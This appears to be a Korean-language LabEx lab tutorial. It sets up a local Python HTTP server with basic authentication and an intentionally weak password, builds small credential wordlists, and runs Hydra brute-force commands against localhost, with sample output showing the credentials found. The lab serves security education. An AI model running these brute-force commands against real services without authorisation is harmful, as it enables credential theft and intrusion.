소개
이 랩에서는 다재다능한 비밀번호 크래킹 도구인 Hydra 를 사용하여 HTTP 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다. 기본적인 인증을 갖춘 Python HTTP 서버를 설정하고 체계적인 자격 증명 공격을 통해 보안을 테스트하는 방법을 살펴봅니다.
이 실습에서는 워드 리스트 생성, Hydra 매개변수 구성, 공격 결과 분석을 통해 인증 취약점을 식별하는 방법을 다룹니다. 이 실용적인 세션은 무차별 대입 시도에 대한 웹 서비스 보안을 평가하는 데 필요한 기술을 보여줍니다.
로컬 HTTP 서버 설치
이 단계에서는 Python 의 내장 모듈을 사용하여 로컬 HTTP 서버를 설치합니다. 이 서버는 기본적인 인증을 갖춘 실제 웹 서버를 시뮬레이션하며, 나중에 Hydra 무차별 대입 공격의 대상으로 사용할 것입니다. 웹 서버의 작동 방식을 이해하는 것은 보안을 테스트하기 전에 필수적입니다.
Python 의 http.server 모듈은 테스트 목적으로 기본적인 웹 서버를 빠르게 생성하는 방법을 제공합니다. 프로덕션 환경에는 적합하지 않지만, 복잡한 설정 없이 HTTP 프로토콜의 기본 사항을 보여주므로 랩 환경에 완벽합니다. 서버는 기본적으로 포트 8000 에서 실행됩니다.
- 먼저, 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 파일이 한 곳에 정리됩니다.
cd ~/project
- 웹 서버 파일을 위한 전용 디렉토리를 생성합니다. 웹 콘텐츠를 별도로 유지하면 구성을 유지하는 데 도움이 됩니다.
mkdir http_server
cd http_server
- 간단한 홈페이지를 생성합니다. 이 HTML 파일은 누군가 웹 서버에 접속할 때 제공됩니다.
echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html
- Python HTTP 서버를 시작합니다.
&기호는 백그라운드에서 실행되므로 터미널을 계속 사용할 수 있습니다.
python3 -m http.server 8000 &
터미널을 계속 사용하려면 Enter 키를 누르세요.
- 서버가 실행 중인지 확인합니다.
netstat명령은 활성 네트워크 연결 및 수신 포트를 보여줍니다.
netstat -tulnp | grep 8000
Python 이 포트 8000 에서 수신 대기 중임을 확인하는 출력을 볼 수 있습니다.
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 1234/python3
- 서버 기능을 테스트합니다.
curl명령은 웹 페이지를 검색하여 모든 것이 작동하는지 확인합니다.
curl http://localhost:8000
생성한 HTML 콘텐츠를 받으면 서버가 작동하고 있음을 증명합니다.
<h1>Welcome to LabEx HTTP Server</h1>

기본 웹 서버가 실행 중이므로 다음 단계에서 인증을 구현할 준비가 되었습니다. Hydra 가 기본 인증을 사용하는 실제 웹 서버와 정확히 동일하게 이 서버와 상호 작용하므로 이 기반은 매우 중요합니다.
HTTP 서버 기본 인증 설정
이 단계에서는 이전에 설치한 HTTP 서버에 대한 기본 인증을 구성합니다. 기본 인증은 클라이언트가 각 요청과 함께 사용자 이름과 비밀번호를 전송하는 간단한 방법입니다. 이는 나중에 Hydra 를 사용하여 무차별 대입을 시도하여 테스트할 보안 계층을 생성합니다. 이는 약한 비밀번호가 위험한 이유를 보여줍니다.
- 먼저, 보호된 웹 서버를 설정할 올바른 디렉토리에 있는지 확인합니다.
cd ~/project/http_server
htpasswd유틸리티를 사용하여 비밀번호 파일을 생성합니다. 이 도구는apache2-utils패키지 (LabEx VM 에 이미 설치됨) 와 함께 제공되며 기본 인증을 위한 비밀번호 파일 관리에 도움이 됩니다.
htpasswd -c .htpasswd admin
메시지가 표시되면 비밀번호로 password123을 입력합니다. 여기서는 간단한 비밀번호가 얼마나 쉽게 크래킹될 수 있는지 보여주기 위해 의도적으로 약한 비밀번호를 사용하고 있습니다.
- 이제 기본 인증으로 HTTP 콘텐츠를 제공하는 Python 스크립트를 생성합니다. 이 스크립트는 액세스를 허용하기 전에 자격 증명을 확인합니다.
nano auth_server.py
- 다음 Python 코드를 붙여넣습니다. 이는 다음과 같은 사용자 지정 HTTP 서버를 생성합니다.
- 기본 인증 필요
.htpasswd파일에 대해 자격 증명 유효성 검사- 인증 성공 후에만 콘텐츠 제공
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64
class AuthHandler(BaseHTTPRequestHandler):
def do_GET(self):
auth_header = self.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Basic '):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'Authentication required')
return
auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
username, password = auth_decoded.split(':', 1)
if username == 'admin' and password == 'password123':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
with open('index.html', 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
self.end_headers()
self.wfile.write(b'Authentication failed')
if __name__ == '__main__':
server_address = ('', 8000)
httpd = HTTPServer(server_address, AuthHandler)
print("Server running on port 8000...")
httpd.serve_forever()
- 파일을 저장하고 (nano 에서 Ctrl+O, Enter, Ctrl+X) 이전 HTTP 서버 (인증이 없는 서버) 를 중지합니다.
pkill -f "python3 -m http.server"
- 새 인증된 HTTP 서버를 백그라운드에서 시작합니다.
python3 auth_server.py &
- 자격 증명 없이 서버에 액세스하여 인증을 테스트해 보겠습니다.
curl -v http://localhost:8000
401 Unauthorized 응답을 받아야 합니다. 이는 인증이 작동하고 있음을 의미합니다.
- 이제 이전에 설정한 올바른 자격 증명으로 액세스를 시도합니다.
curl -v -u admin:password123 http://localhost:8000

이제 index.html 파일의 HTML 콘텐츠를 볼 수 있어야 합니다. 이는 인증이 올바르게 작동함을 증명합니다.
이제 서버는 기본 인증으로 제대로 보호되었으며 다음 단계에서 무차별 대입 공격 시연을 할 준비가 되었습니다. 이 설정은 웹 서버가 기본 인증을 사용하는 실제 시나리오를 모방하여 작동 방식과 잠재적인 취약점을 모두 보여줍니다.
사용자 이름 및 비밀번호 목록 준비
이 단계에서는 Hydra 가 HTTP 기본 인증에 대해 가능한 사용자 이름과 비밀번호 조합을 테스트하는 데 사용할 단어 목록을 생성합니다. 이러한 목록은 무작위로 추측하는 대신 일반적인 자격 증명을 체계적으로 시도하는 사전 공격의 기반을 형성합니다.
- 먼저, 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 파일이 한 곳에 정리됩니다.
cd ~/project
- 단어 목록을 위한 전용 디렉토리를 생성합니다. 별도로 유지하면 관리하기가 더 쉬워집니다.
mkdir wordlists
cd wordlists
- 간단한 텍스트 편집기인 nano 를 사용하여 사용자 이름 목록 파일을 생성합니다. 기본값으로 자주 사용되는 일반적인 관리자 사용자 이름으로 채웁니다.
nano usernames.txt
다음 일반적인 사용자 이름을 추가합니다 (줄당 하나씩).
admin
root
user
test
guest
administrator
- 마찬가지로 비밀번호 목록 파일을 생성합니다. 이는 일반적으로 사용되거나 추측하기 쉬운 비밀번호입니다.
nano passwords.txt
다음 일반적인 비밀번호를 추가합니다 (줄당 하나씩).
password123
password
123456
admin
letmein
qwerty
- 파일의 내용을 확인하여 올바르게 생성되었는지 확인합니다.
cat명령은 터미널에 파일 내용을 표시합니다.
cat usernames.txt
cat passwords.txt
- (선택 사항) 단어 목록 생성기인 crunch 를 사용하여 추가 비밀번호를 생성합니다. 이 명령은 최대 100 개의 4 자리 숫자 조합을 생성하며, 간단한 숫자 비밀번호를 테스트하는 데 유용합니다.
crunch 4 4 0123456789 | head -n 100 > numbers.txt
- 비밀번호 목록을 단일 파일로 결합합니다. 이렇게 하면 Hydra 가 공격 중에 테스트할 수 있는 더 많은 변형을 제공합니다.
cat passwords.txt numbers.txt > combined_passwords.txt
- 결합된 비밀번호 목록을 확인합니다.
head명령은 처음 10 줄만 표시하여 병합이 제대로 작동했는지 빠르게 확인할 수 있습니다.
head combined_passwords.txt
다음과 같은 출력을 볼 수 있습니다.
password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003
이 단어 목록에는 이전에 구성한 올바른 자격 증명 (admin/password123) 과 많은 잘못된 조합이 모두 포함되어 있습니다. 이 설정은 공격자가 가능한 수많은 자격 증명을 시도하여 로그인을 무차별 대입하려는 방식을 현실적으로 시뮬레이션합니다. 다음 단계에서는 Hydra 를 사용하여 이러한 조합을 HTTP 서버에 대해 테스트하는 것을 자동화합니다.
HTTP 서비스에 대한 Hydra 공격 실행
이 단계에서는 Hydra 를 사용하여 이전에 구성한 HTTP 기본 인증 서비스에 대해 무차별 대입 공격을 수행합니다. Hydra 는 단어 목록에서 모든 사용자 이름/비밀번호 조합을 체계적으로 시도하여 유효한 자격 증명을 찾는 강력한 비밀번호 크래킹 도구입니다. 이는 약한 비밀번호가 자동화된 공격에 취약한 이유를 보여줍니다.
- 먼저, HTTP 서버가 여전히 실행 중인지 확인합니다. 이 명령은 서버 프로세스가 있는지 확인하고 필요한 경우 다시 시작합니다.
pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &
- 사용자 이름 및 비밀번호 파일을 저장한 단어 목록 디렉토리로 이동합니다. 이러한 파일에는 Hydra 가 테스트할 조합이 포함되어 있습니다.
cd ~/project/wordlists
- 이 명령을 사용하여 HTTP 서비스를 공격하기 위해 Hydra 를 실행합니다.
-L플래그는 사용자 이름 목록을 지정하고,-P는 비밀번호 목록을 지정하며,http-get /는 기본 HTTP GET 요청을 공격하고 있음을 나타냅니다.
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
- Hydra 가 조합을 시도하는 동안 Hydra 의 출력을 관찰합니다. 성공하면 어떤 자격 증명이 작동했는지 보여주는 출력이 표시됩니다.
[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost login: admin password: password123
1 of 1 target successfully completed, 1 valid password found
- Hydra 가 수행하는 각 시도를 포함하여 더 자세한 출력을 보려면
-v(verbose) 플래그를 추가합니다.
hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
- (선택 사항) 나중에 분석할 수 있도록 결과를 파일에 저장합니다.
-o플래그는 출력 파일을 지정합니다.
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt
- 저장된 결과 파일을 확인하여 성공적인 자격 증명을 확인합니다.
cat hydra_results.txt
공격은 이전에 설정한 자격 증명 (admin/password123) 을 성공적으로 찾아야 합니다. 이는 자동화된 무차별 대입 공격을 통해 약한 자격 증명을 얼마나 빨리 발견할 수 있는지 보여주며, 강력한 비밀번호의 중요성을 강조합니다.
요약
이 랩에서는 Python 을 사용하여 로컬 HTTP 서버를 설정하고 보안 테스트 목적으로 기본 인증을 구현하는 방법을 배웠습니다. 이 프로세스에는 웹 디렉토리 생성, htpasswd 를 사용한 인증 구성, curl 과 같은 일반적인 도구를 사용하여 서버 기능 확인이 포함되었습니다.
또한, 자격 증명 목록을 준비하고 Hydra 를 사용하여 HTTP 서비스에 대한 무차별 대입 공격을 실행하는 실질적인 경험을 얻었습니다. 이 연습은 강력한 비밀번호의 중요성과 약한 자격 증명을 사용할 때 기본 인증 메커니즘의 취약성을 보여주었습니다.


